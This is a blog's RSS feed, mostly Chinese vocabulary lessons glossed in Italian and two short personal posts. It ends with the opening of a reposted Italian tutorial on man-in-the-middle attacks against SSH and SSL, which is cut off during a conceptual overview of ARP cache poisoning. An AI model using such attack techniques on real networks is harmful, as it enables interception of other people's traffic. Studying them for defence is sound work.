<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Manuele Lancia</title>
	<atom:link href="http://www.manuelelancia.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.manuelelancia.com</link>
	<description></description>
	<lastBuildDate>Thu, 19 Jan 2012 10:51:29 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Lezione 14 &#8211; 你今年多大 了？ Nǐ jīnnián duō dà le?</title>
		<link>http://www.manuelelancia.com/2011/12/lezione-14-%e4%bd%a0%e4%bb%8a%e5%b9%b4%e5%a4%9a%e5%a4%a7-%e4%ba%86%ef%bc%9f-n%c7%90-jinnian-duo-da-le/</link>
		<comments>http://www.manuelelancia.com/2011/12/lezione-14-%e4%bd%a0%e4%bb%8a%e5%b9%b4%e5%a4%9a%e5%a4%a7-%e4%ba%86%ef%bc%9f-n%c7%90-jinnian-duo-da-le/#comments</comments>
		<pubDate>Mon, 19 Dec 2011 17:30:07 +0000</pubDate>
		<dc:creator>Manuele Lancia</dc:creator>
				<category><![CDATA[Cinese]]></category>

		<guid isPermaLink="false">http://www.manuelelancia.com/?p=287</guid>
		<description><![CDATA[生词Shēngcí 猜 Cāi (v.) indovinare 出生Chūshēng (v.) nascere 大夫 Dàifū (sost.) medico 弟弟 Dìdì(sost.) fratello minore 哥哥 Gēgē (sost.) fratello maggiore 公司 Gōngsī(sost.) ditta; azienda 工作 Gōngzuò(sost.) lavoro; (v.) lavorare 关系 Guānxì(sost.) rapporto; relazione; legame 号 Hào (sost.) giorno (del mese); numero 欢迎 Huānyíng (v.)dare il benvenuto 介绍 Jièshào (v.) presentare 进 Jìn (v.) entrare [...]]]></description>
			<content:encoded><![CDATA[<p><strong><span style="text-decoration: underline;">生词</span></strong><strong><span style="text-decoration: underline;">Shēngcí </span></strong><strong></strong></p>
<p>猜 Cāi (v.) indovinare</p>
<p>出生Chūshēng (v.) nascere</p>
<p>大夫 Dàifū (sost.) medico</p>
<p>弟弟 Dìdì(sost.) fratello minore</p>
<p>哥哥 Gēgē (sost.) fratello maggiore</p>
<p>公司 Gōngsī(sost.) ditta; azienda</p>
<p>工作 Gōngzuò(sost.) lavoro; (v.) lavorare</p>
<p>关系 Guānxì(sost.) rapporto; relazione; legame</p>
<p>号 Hào (sost.) giorno (del mese); numero</p>
<p>欢迎 Huānyíng (v.)dare il benvenuto</p>
<p>介绍 Jièshào (v.) presentare</p>
<p>进 Jìn (v.) entrare</p>
<p>今年 Jīnnián (sost.) quest’anno</p>
<p>口 Kǒu (class.) per i membri di una famiglia</p>
<p>妹妹 Mèimei (sost.) sorella minore</p>
<p>奶奶 Nǎinai (sost.) nonna paterna; appellativo</p>
<p>年 Nián (sost.) anno</p>
<p>年级 Niánjí(sost.) grado; classe ( divisioni all’interno di un ciclo scolastico )</p>
<p>牛 Niú (sost.) bovino ( vacca;bue )</p>
<p>上 Shàng (v.) salire; frequentare ( corsi, lezioni )</p>
<p>生日 Shēngrì (sost.) compleanno</p>
<p>身体 Shēntǐ (sost.)salute; corpo</p>
<p>属 Shǔ (v.) appartenere; essere nato nell’anno corrispondente ad uno dei dodici segni dello zodiaco cinese</p>
<p>岁Suì (sost.)anno d’età</p>
<p>岁数 Suìshu (sost.) età</p>
<p>像 Xiàng (v.) sembrare; assomigliare</p>
<p>小伙子 Xiǎohuǒzi (sost.) ragazzo; giovane</p>
<p>小学 Xiǎoxué (sost.) scuola elementare</p>
<p>月 Yuè (sost.) mese</p>
<p>在 Zài (v.) stare; (prep.)in</p>
<p>真 Zhēn (agg.)vero;autentico (avv.) davvero;veramente</p>
<p>做 Zuò (v.) fare; fabbricare/svolgere un lavoro</p>
<p>坐 Zuò (v.) sedersi</p>
<p>&nbsp;</p>
<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.manuelelancia.com%2F2011%2F12%2Flezione-14-%25e4%25bd%25a0%25e4%25bb%258a%25e5%25b9%25b4%25e5%25a4%259a%25e5%25a4%25a7-%25e4%25ba%2586%25ef%25bc%259f-n%25c7%2590-jinnian-duo-da-le%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;font=arial&amp;colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:450px; height:80px"></iframe><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.manuelelancia.com%2F2011%2F12%2Flezione-14-%25e4%25bd%25a0%25e4%25bb%258a%25e5%25b9%25b4%25e5%25a4%259a%25e5%25a4%25a7-%25e4%25ba%2586%25ef%25bc%259f-n%25c7%2590-jinnian-duo-da-le%2F&amp;title=Lezione%2014%20%26%238211%3B%20%E4%BD%A0%E4%BB%8A%E5%B9%B4%E5%A4%9A%E5%A4%A7%20%E4%BA%86%EF%BC%9F%20N%C7%90%20j%C4%ABnni%C3%A1n%20du%C5%8D%20d%C3%A0%20le%3F" id="wpa2a_2"><img src="http://www.manuelelancia.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.manuelelancia.com/2011/12/lezione-14-%e4%bd%a0%e4%bb%8a%e5%b9%b4%e5%a4%9a%e5%a4%a7-%e4%ba%86%ef%bc%9f-n%c7%90-jinnian-duo-da-le/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Lezione 13 &#8211; 保罗很热情Bǎoluó hěn rèqíng</title>
		<link>http://www.manuelelancia.com/2011/12/lezione-13-%e4%bf%9d%e7%bd%97%e5%be%88%e7%83%ad%e6%83%85b%c7%8eoluo-hen-reqing/</link>
		<comments>http://www.manuelelancia.com/2011/12/lezione-13-%e4%bf%9d%e7%bd%97%e5%be%88%e7%83%ad%e6%83%85b%c7%8eoluo-hen-reqing/#comments</comments>
		<pubDate>Wed, 14 Dec 2011 15:39:31 +0000</pubDate>
		<dc:creator>Manuele Lancia</dc:creator>
				<category><![CDATA[Cinese]]></category>

		<guid isPermaLink="false">http://www.manuelelancia.com/?p=276</guid>
		<description><![CDATA[生词Shēngcí 傲 Ào (agg.)superbo 别 Bié (avv.) non, imperativo negativo 比较 Bǐjiào (avv.) abbastanza 聪明 Cōngmíng (agg.) non male; discreto 粗心 Cūxīn (agg.) negligente; trascurato 高兴 Gāoxìng (agg.) felice; contento 很 Hěn (avv.) molto 交 Jiāo (v.) stringere un’amicizia 觉得 Juéde (v.) sentire; pensare 开朗 Kāilǎng (agg.) aperto; allegro 酷 Kù (agg.) forte; fantastico; cool [...]]]></description>
			<content:encoded><![CDATA[<p><strong><span style="text-decoration: underline;">生词</span></strong><strong><span style="text-decoration: underline;">Shēngcí </span></strong><strong></strong></p>
<p>傲 Ào (agg.)superbo</p>
<p>别 Bié (avv.) non, imperativo negativo</p>
<p>比较 Bǐjiào (avv.) abbastanza</p>
<p>聪明 Cōngmíng (agg.) non male; discreto</p>
<p>粗心 Cūxīn (agg.) negligente; trascurato</p>
<p>高兴 Gāoxìng (agg.) felice; contento</p>
<p>很 Hěn (avv.) molto</p>
<p>交 Jiāo (v.) stringere un’amicizia</p>
<p>觉得 Juéde (v.) sentire; pensare</p>
<p>开朗 Kāilǎng (agg.) aperto; allegro</p>
<p>酷 Kù (agg.) forte; fantastico; cool</p>
<p>懒 Lǎn (agg.) pigro</p>
<p>浪漫 Làngmàn (agg.) romantico</p>
<p>了 Le (part. modale finale)</p>
<p>忙 Máng (agg.) impegnato; occupato</p>
<p>漂亮 Piàoliang (agg.) bello</p>
<p>热情 Rèqíng (agg.) caloroso; affettuoso</p>
<p>时候 Shíhou (sost.) tempo; momento</p>
<p>太 Tài (avv.) troppo</p>
<p>喂 Wèi (interiez.) ‘ehi’ usata come richiamo; si usa come risposta al telefono: ‘pronto?’</p>
<p>性格 Xìnggé (sost.) carattere</p>
<p>意思 Yìsi (sost.) significato; senso</p>
<p>&nbsp;</p>
<p>这么 Zhème (pron.) così</p>
<p>怎么样 Zěnmeyàng (pron. Interrogativo) come?</p>
<p>笨 Bèn (agg.) stupido; sciocco</p>
<p>非常 Fēicháng (agg.) molto; estremamente</p>
<p>坏 Huài (agg.) cattivo</p>
<p>腼腆 Miǎn tiǎn (agg.) timido</p>
<p>难 Nán (agg.) difficile</p>
<p>努力 Nǔlì (agg.) diligente sul lavoro</p>
<p>勤奋 Qínfèn (agg.) diligente nello studio</p>
<p>认真 Rènzhēn (agg.) serio; preciso</p>
<p>容易 Róngyì(agg.) facile</p>
<p>帅 Shuài (agg.) bello utilizzato per gli uomini</p>
<p>现实 Xiànshí(agg.) realista</p>
<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.manuelelancia.com%2F2011%2F12%2Flezione-13-%25e4%25bf%259d%25e7%25bd%2597%25e5%25be%2588%25e7%2583%25ad%25e6%2583%2585b%25c7%258eoluo-hen-reqing%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;font=arial&amp;colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:450px; height:80px"></iframe><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.manuelelancia.com%2F2011%2F12%2Flezione-13-%25e4%25bf%259d%25e7%25bd%2597%25e5%25be%2588%25e7%2583%25ad%25e6%2583%2585b%25c7%258eoluo-hen-reqing%2F&amp;title=Lezione%2013%20%26%238211%3B%20%E4%BF%9D%E7%BD%97%E5%BE%88%E7%83%AD%E6%83%85B%C7%8Eolu%C3%B3%20h%C4%9Bn%20r%C3%A8q%C3%ADng" id="wpa2a_4"><img src="http://www.manuelelancia.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.manuelelancia.com/2011/12/lezione-13-%e4%bf%9d%e7%bd%97%e5%be%88%e7%83%ad%e6%83%85b%c7%8eoluo-hen-reqing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Lezione 12 &#8211; 你想喝什么Nǐ xiǎng hē shénme &#8211; Cosa desideri bere ?</title>
		<link>http://www.manuelelancia.com/2011/12/lezione-12-cosa-desideri-bere/</link>
		<comments>http://www.manuelelancia.com/2011/12/lezione-12-cosa-desideri-bere/#comments</comments>
		<pubDate>Mon, 05 Dec 2011 07:50:30 +0000</pubDate>
		<dc:creator>Manuele Lancia</dc:creator>
				<category><![CDATA[Cinese]]></category>

		<guid isPermaLink="false">http://www.manuelelancia.com/?p=273</guid>
		<description><![CDATA[生词Shēngcí 杯 Bēi ( sost.class.) tazza; bicchiere 茶Chá (sost.) tè 中国茶 Zhōngguó chá  ( tè cinese ) 但是 Dànshì (cong.) ma 点心 Diǎnxīn (sost.) spuntino ( dolce o salato) 读 Dú (v.)  leggere 喝 Hē (v.) bere 会 Huì (v.ausiliare modale)saper fare; essere capace di 酒吧 Jiǔbā ( sost.) bar 咖啡 Kāfēi (sost.)caffè 开玩笑 Kāi [...]]]></description>
			<content:encoded><![CDATA[<p><strong><span style="text-decoration: underline;">生词</span></strong><strong><span style="text-decoration: underline;">Shēngcí </span></strong><strong></strong></p>
<p>杯 Bēi ( sost.class.) tazza; bicchiere</p>
<p>茶Chá (sost.) tè 中国茶 Zhōngguó chá  ( tè cinese )</p>
<p>但是 Dànshì (cong.) ma</p>
<p>点心 Diǎnxīn (sost.) spuntino ( dolce o salato)</p>
<p>读 Dú (v.)  leggere</p>
<p>喝 Hē (v.) bere</p>
<p>会 Huì (v.ausiliare modale)saper fare; essere capace di</p>
<p>酒吧 Jiǔbā ( sost.) bar</p>
<p>咖啡 Kāfēi (sost.)caffè</p>
<p>开玩笑 Kāi wánxiào scherzare</p>
<p>可以 Kěyǐ ( v.ausiliare modale ) potere</p>
<p>块 Kuài (sost.;class.) pezzo; fetta</p>
<p>俩 Liǎ (class.) due</p>
<p>能 Néng ( v.ausiliare modale) potere; essere in grado di</p>
<p>啤酒 Píjiǔ  ( sost. ) birra</p>
<p>请客 Qǐngkè (v. )offrire; invitare qualcuno a consumare un pasto o una bevanda</p>
<p>勺  Sháor (sost.;class.)cucchiaino</p>
<p>说 Shuō (v.)parlare; dire ( generalmente è seguito da un complemento oggetto )</p>
<p>所以 Suǒyǐ ( cong.)perciò</p>
<p>糖 Táng ( sost. ) zucchero; caramella</p>
<p>晚会 Wǎnhuì ( sost.) festa ( serale )</p>
<p><em>为什么</em><em> W</em><em>è</em><em>ish</em><em>é</em><em>nme (pron.inter.) perché ?</em></p>
<p><em>想</em><em> Xi</em><em>ǎ</em><em>ng( v.ausiliare modale ) desiderare; volere</em><em></em></p>
<p><em>写</em><em> Xi</em><em>ě</em><em> (v.) scrivere</em><em> </em></p>
<p><em>因为</em><em> Y</em><em>ī</em><em>nw</em><em>è</em><em>i (cong.) perchè</em><em></em></p>
<p><em>怎么</em><em> Z</em><em>ě</em><em>nme (pron. Interr.) come?; perché? ; come mai?</em><em></em></p>
<p><em>走</em><em> Z</em><em>ǒ</em><em>u (v.) camminare; andare; andar via</em></p>
<p><em>吃饭</em><em> Ch</em><em>ī</em><em>f</em><em>à</em><em>n (v.) mangiare</em><em></em></p>
<p><em>开车</em><em> K</em><em>ā</em><em>ich</em><em>ē</em><em> (v.) guidare</em><em></em></p>
<p><em>可乐</em><em> K</em><em>ě</em><em>l</em><em>è</em><em>  coca-cola</em><em></em></p>
<p><em>面包</em><em> Mi</em><em>à</em><em>nb</em><em>ā</em><em>o (sost.) pane</em><em></em></p>
<p><em>面条</em><em> Mi</em><em>à</em><em>nti</em><em>á</em><em>o ( sost. ) spaghetti</em><em></em></p>
<p><em>牛奶</em><em> Ni</em><em>ú</em><em>n</em><em>ǎ</em><em>i ( sost. ) latte</em><em></em></p>
<p><em>水</em><em> Shu</em><em>ǐ</em><em> (sost.) acqua</em><em></em></p>
<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.manuelelancia.com%2F2011%2F12%2Flezione-12-cosa-desideri-bere%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;font=arial&amp;colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:450px; height:80px"></iframe><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.manuelelancia.com%2F2011%2F12%2Flezione-12-cosa-desideri-bere%2F&amp;title=Lezione%2012%20%26%238211%3B%20%E4%BD%A0%E6%83%B3%E5%96%9D%E4%BB%80%E4%B9%88N%C7%90%20xi%C7%8Eng%20h%C4%93%20sh%C3%A9nme%20%26%238211%3B%20Cosa%20desideri%20bere%20%3F" id="wpa2a_6"><img src="http://www.manuelelancia.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.manuelelancia.com/2011/12/lezione-12-cosa-desideri-bere/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Lezione 11 &#8211; 我 还 要几 张光盘Wǒ hái yào jǐ zhāng guāngpán</title>
		<link>http://www.manuelelancia.com/2011/11/lezione-11-voglio-anche-alcuni-cd/</link>
		<comments>http://www.manuelelancia.com/2011/11/lezione-11-voglio-anche-alcuni-cd/#comments</comments>
		<pubDate>Tue, 29 Nov 2011 18:47:00 +0000</pubDate>
		<dc:creator>Manuele Lancia</dc:creator>
				<category><![CDATA[Cinese]]></category>

		<guid isPermaLink="false">http://www.manuelelancia.com/?p=270</guid>
		<description><![CDATA[生词Shēngcí - Vocabolario 本 Běn  ( class.) utilizzato per oggetti come libri o volumi 本子 Běnzi  (sost.) Quaderno 别的 Biéde  (pron.) Altro 磁带 Cídài  (sost.) Audiocassetta 个 Gè (Class.) generico per cose 光盘 Guāngpán (sost.) Cd 还是 Háishì (cong.) Oppure ( solo in frasi interrogative ) 或者 Huòzhě  ( cong.)  oppure. Solo in frasi affermative 两 [...]]]></description>
			<content:encoded><![CDATA[<p><strong><span style="text-decoration: underline;">生词</span></strong><strong><span style="text-decoration: underline;">Shēngcí</span> - Vocabolario</strong><strong></strong></p>
<p>本 Běn  ( class.) utilizzato per oggetti come libri o volumi</p>
<p>本子 Běnzi  (sost.) Quaderno</p>
<p>别的 Biéde  (pron.) Altro</p>
<p>磁带 Cídài  (sost.) Audiocassetta</p>
<p>个 Gè (Class.) generico per cose</p>
<p>光盘 Guāngpán (sost.) Cd</p>
<p>还是 Háishì (cong.) Oppure ( solo in frasi interrogative )</p>
<p>或者 Huòzhě  ( cong.)  oppure. Solo in frasi affermative</p>
<p>两 Liǎng (num.) due ( per indicare quantità, non nella numerazione )</p>
<p>那 Nà ( pron. dimostrativo ) quello</p>
<p>笔 Bǐ ( sost. ) penna;matita</p>
<p>随便 Suíbiàn (agg.;avv.) informale, libero; liberamente</p>
<p>先生 Xiānshēng (sost.) signore</p>
<p>些 Xiē  ( class.) generico; si usa per indicare il plurale一 些 书</p>
<p>要 Yào  ( v. ) volere; dovere</p>
<p>张 Zhāng (class. ) usato per oggetti piatti e oblunghi</p>
<p>这 Zhè (pron.) questo</p>
<p>枝 Zhī (class.) usato per oggetti a forma di bastone</p>
<p>种 Zhǒng ( class.) genere; tipo; anche class. Generico per concetti astratti</p>
<p>几 Jǐ( pron.interr. ) quanti?; qualche; alcuni</p>
<p>铅笔Qiānbǐ( sost.) matita</p>
<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.manuelelancia.com%2F2011%2F11%2Flezione-11-voglio-anche-alcuni-cd%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;font=arial&amp;colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:450px; height:80px"></iframe><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.manuelelancia.com%2F2011%2F11%2Flezione-11-voglio-anche-alcuni-cd%2F&amp;title=Lezione%2011%20%26%238211%3B%20%E6%88%91%20%E8%BF%98%20%E8%A6%81%E5%87%A0%20%E5%BC%A0%E5%85%89%E7%9B%98W%C7%92%20h%C3%A1i%20y%C3%A0o%20j%C7%90%20zh%C4%81ng%20gu%C4%81ngp%C3%A1n" id="wpa2a_8"><img src="http://www.manuelelancia.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.manuelelancia.com/2011/11/lezione-11-voglio-anche-alcuni-cd/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>I follow you&#8230;</title>
		<link>http://www.manuelelancia.com/2011/11/i-follow-you/</link>
		<comments>http://www.manuelelancia.com/2011/11/i-follow-you/#comments</comments>
		<pubDate>Fri, 25 Nov 2011 20:39:17 +0000</pubDate>
		<dc:creator>Manuele Lancia</dc:creator>
				<category><![CDATA[Lavoro]]></category>

		<guid isPermaLink="false">http://www.manuelelancia.com/?p=264</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><iframe width="600" height="338" src="http://www.youtube.com/embed/vZYbEL06lEU?fs=1&#038;feature=oembed" frameborder="0" allowfullscreen></iframe></p>
<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.manuelelancia.com%2F2011%2F11%2Fi-follow-you%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;font=arial&amp;colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:450px; height:80px"></iframe><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.manuelelancia.com%2F2011%2F11%2Fi-follow-you%2F&amp;title=I%20follow%20you%26%238230%3B" id="wpa2a_10"><img src="http://www.manuelelancia.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.manuelelancia.com/2011/11/i-follow-you/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Il viaggio&#8230;</title>
		<link>http://www.manuelelancia.com/2011/11/il-viaggio/</link>
		<comments>http://www.manuelelancia.com/2011/11/il-viaggio/#comments</comments>
		<pubDate>Fri, 25 Nov 2011 20:36:48 +0000</pubDate>
		<dc:creator>Manuele Lancia</dc:creator>
				<category><![CDATA[Pensieri]]></category>

		<guid isPermaLink="false">http://www.manuelelancia.com/?p=261</guid>
		<description><![CDATA[C&#8217;è chi viaggia per dimenticare e chi per ritrovare dei ricordi, finiti, di qualcosa che è stato, che si vorrebbe vivere di nuovo, con le stesse emozioni. Viaggiare per scoprire luoghi meravigliosi. O semplicemente per curiosità. Per riposarsi, o per lavorare&#8230; L&#8217;elenco è infinito. Ma il viaggiare è una cosa bellissima. Solo la parola fa [...]]]></description>
			<content:encoded><![CDATA[<p>C&#8217;è chi viaggia per dimenticare e chi per ritrovare dei ricordi, finiti, di qualcosa che è stato, che si vorrebbe vivere di nuovo, con le stesse emozioni. Viaggiare per scoprire luoghi meravigliosi. O semplicemente per curiosità. Per riposarsi, o per lavorare&#8230; L&#8217;elenco è infinito. Ma il viaggiare è una cosa bellissima. Solo la parola fa venire voglia di andare via, lasciando tutto il resto qui, solo per scoprire il mondo che ci circonda. Unico e speciale</p>
<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.manuelelancia.com%2F2011%2F11%2Fil-viaggio%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;font=arial&amp;colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:450px; height:80px"></iframe><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.manuelelancia.com%2F2011%2F11%2Fil-viaggio%2F&amp;title=Il%20viaggio%26%238230%3B" id="wpa2a_12"><img src="http://www.manuelelancia.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.manuelelancia.com/2011/11/il-viaggio/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SSH ed SSL Man In The Middle Attacks</title>
		<link>http://www.manuelelancia.com/2011/08/sshssl-man-in-the-middle-attacks/</link>
		<comments>http://www.manuelelancia.com/2011/08/sshssl-man-in-the-middle-attacks/#comments</comments>
		<pubDate>Mon, 22 Aug 2011 10:40:08 +0000</pubDate>
		<dc:creator>Manuele Lancia</dc:creator>
				<category><![CDATA[Hack]]></category>
		<category><![CDATA[Lavoro]]></category>

		<guid isPermaLink="false">http://www.manuelelancia.com/?p=230</guid>
		<description><![CDATA[Premessa : non sono miei articoli. Me li metto sul sito in modo di averli sempre a portata di mano, categorizzati come Lavoro &#8211; Hack. Ogni volta che ne pubblicherò uno cercherò di mettere tutti i riferimenti degli autori. [Italian] SSH/SSL MITM ###################### [Italian] ############## # # # SSH ed SSL Man In The Middle [...]]]></description>
			<content:encoded><![CDATA[<p>Premessa : non sono miei articoli. Me li metto sul sito in modo di averli sempre a portata di mano, categorizzati come Lavoro &#8211; Hack. Ogni volta che ne pubblicherò uno cercherò di mettere tutti i riferimenti degli autori.</p>
<p>[Italian] SSH/SSL MITM</p>
<p>###################### [Italian] ##############<br />
#													      #<br />
#	SSH ed SSL Man In The Middle Attacks								      #<br />
#													      #<br />
#		[o] Author: Stavro D. Mueller								      #<br />
############################</p>
<p>[o] Introduzione<br />
[o] Man In The Middle<br />
	[o.o] ARP Cache Poisoning Overview<br />
[o] SSH MITM<br />
	[o.o] SSH Downgrade<br />
[o] SSL MITM<br />
[o] Contromisure<br />
[o] Note<br />
<span id="more-230"></span></p>
<p>[o] Introduzione<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Molti di noi sono a conoscenza dei pericoli che si insidiano all&#8217;interno di una rete aziendale e, piu&#8217; in generale,<br />
all&#8217;interno di una rete LAN.<br />
Tra i tanti pericoli, sicuramente tutti abbiamo sentito parlare (a volte avuto anche a che fare)<br />
con attacchi di tipo Man In The Middle (mitm).<br />
Ci sono vari modi per prendere le giuste contromisure da questo tipo di attacchi[1], ma supponiamo di<br />
non averne implementata nessuna.<br />
Molti si sentono lo stesso al sicuro, pensando che l&#8217;utilizzo di protocolli sicuri quali HTTPS ed SSH<br />
in primis possano proteggere i propri dati; questo e&#8217; in parte vero. In parte no.<br />
In questo paper mostreremo come sferrare attacchi mitm ai due protocolli sopra citati: SSL ed SSH, due<br />
protocolli definiti sicuri per eccellenza.<br />
Prima di iniziare, c&#8217;e&#8217; da dire che effettivamente i protocolli in se&#8217; sono sicuri, ma la loro implementazione<br />
ed a volte il fatto di essere implementati a livelli alti della pila ISO/OSI, mostrano il fianco ad<br />
attacchi ai livelli sottostanti, come di fatti e&#8217; l&#8217;attacco man in the middle.</p>
<p>[o] Man In The Middle<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Diamo una piccola rinfrescata ai vecchi ricordi accennando all&#8217;attacco Man In The Middle (mitm) e, nel capitolo<br />
successivo, all&#8217;attacco ARP Cache Poisoning, benche&#8217; ci siano articoli ben piu&#8217; approfonditi al riguardo[2].<br />
L&#8217;attacco mitm consiste sostanzialmente nel frapporsi tra due interlocutori, sniffandone i pacchetti.<br />
Se il normale flusso di dati sarebbe</p>
<p>Alice <--------------> Bob</p>
<p>lo scopo di un attacco mitm e&#8217; quello di avere il seguente flusso</p>
<p>Alice <--------> Darth <----------> Bob</p>
<p>il tutto senza che Alice e Bob si accorgano che tra di loro c&#8217;e&#8217; Darth che sniffa i loro dati.<br />
Come questo sia tecnicamente possibile lo vedremo nel prossimo paragrafo, l&#8217;importante e&#8217; tenere<br />
a mente questo piccolo schema e questo semplice concetto, che e&#8217; alla base di tutto il paper.</p>
<p>[o.o] ARP Cache Poisoning Overview<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
La tecnica piu&#8217; facile da realizare e la piu&#8217; semplice per ottere un effetto mitm e&#8217; senza dubbio l&#8217;ARP cache<br />
poisoning.<br />
ARP ha il semplice compito di mantenere in una tabella sul nostro PC (ARP cache) tutte le associazioni IP-MAC Address<br />
di tutti i computer raggiungibili dal nostro pc e che si trovano sullo stesso segmento di rete (= LAN).<br />
Normalmente, nella comunicazione tra Alice e Bob si ha una situazione del genere:</p>
<p>    Alice                                                Bob<br />
[192.168.1.50]                                       [192.168.1.100]<br />
[MAC: 00:00:00:aa:aa:aa]                             [MAC: 00:00:00:bb:bb:bb]<br />
ARP cache                                            ARP cache<br />
[192.168.1.100 at 00:00:00:bb:bb:bb]  <----------->  [192.168.1.50 at 00:00:00:aa:aa:aa]</p>
<p>Nella ARP cache di Alice c&#8217;e&#8217; la giusta associazione IP-MAC Address di Bob e la comunicazione avviene<br />
senza problemi.<br />
Vediamo ora nel caso in cui Darth esegua un ARP cache poisoning:</p>
<p>    Alice                                                Bob<br />
[192.168.1.50]                                       [192.168.1.100]<br />
[MAC: 00:00:00:aa:aa:aa]                             [MAC: 00:00:00:bb:bb:bb]<br />
ARP cache poisoned                                   ARP cache poisoned<br />
[192.168.1.100 at 00:00:00:cc:cc:cc]                 [192.168.1.50 at 00:00:00:cc:cc:cc]<br />
	   ^                                                   ^<br />
	   |                                                   |<br />
	   |                                                   |<br />
	   |	           	    Darth                      |<br />
	   +&#8212;&#8212;&#8212;&#8212;&#8212;-> [192.168.1.200]<-----------------+<br />
	                      [MAC: 00:00:00:cc:cc:cc]<br />
		              ARP cache<br />
		              [192.168.1.50 at 00:00:00:aa:aa:aa]<br />
		              [192.168.1.100 at 00:00:00:bb:bb:bb]</p>
<p>Da notare la nuova associazione IP-MAC Address nella ARP cache di Alice e Bob: Alice ha associato l'IP di<br />
Bob con il MAC Address di Darth e Bob ha associato l'IP di Alice con il MAC Adrress di Darth; siccome una qualsiasi<br />
applicazione continua a parlare con lo stesso IP, quando arriva al layer 2 della pila ISO/OSI, il pacchetto<br />
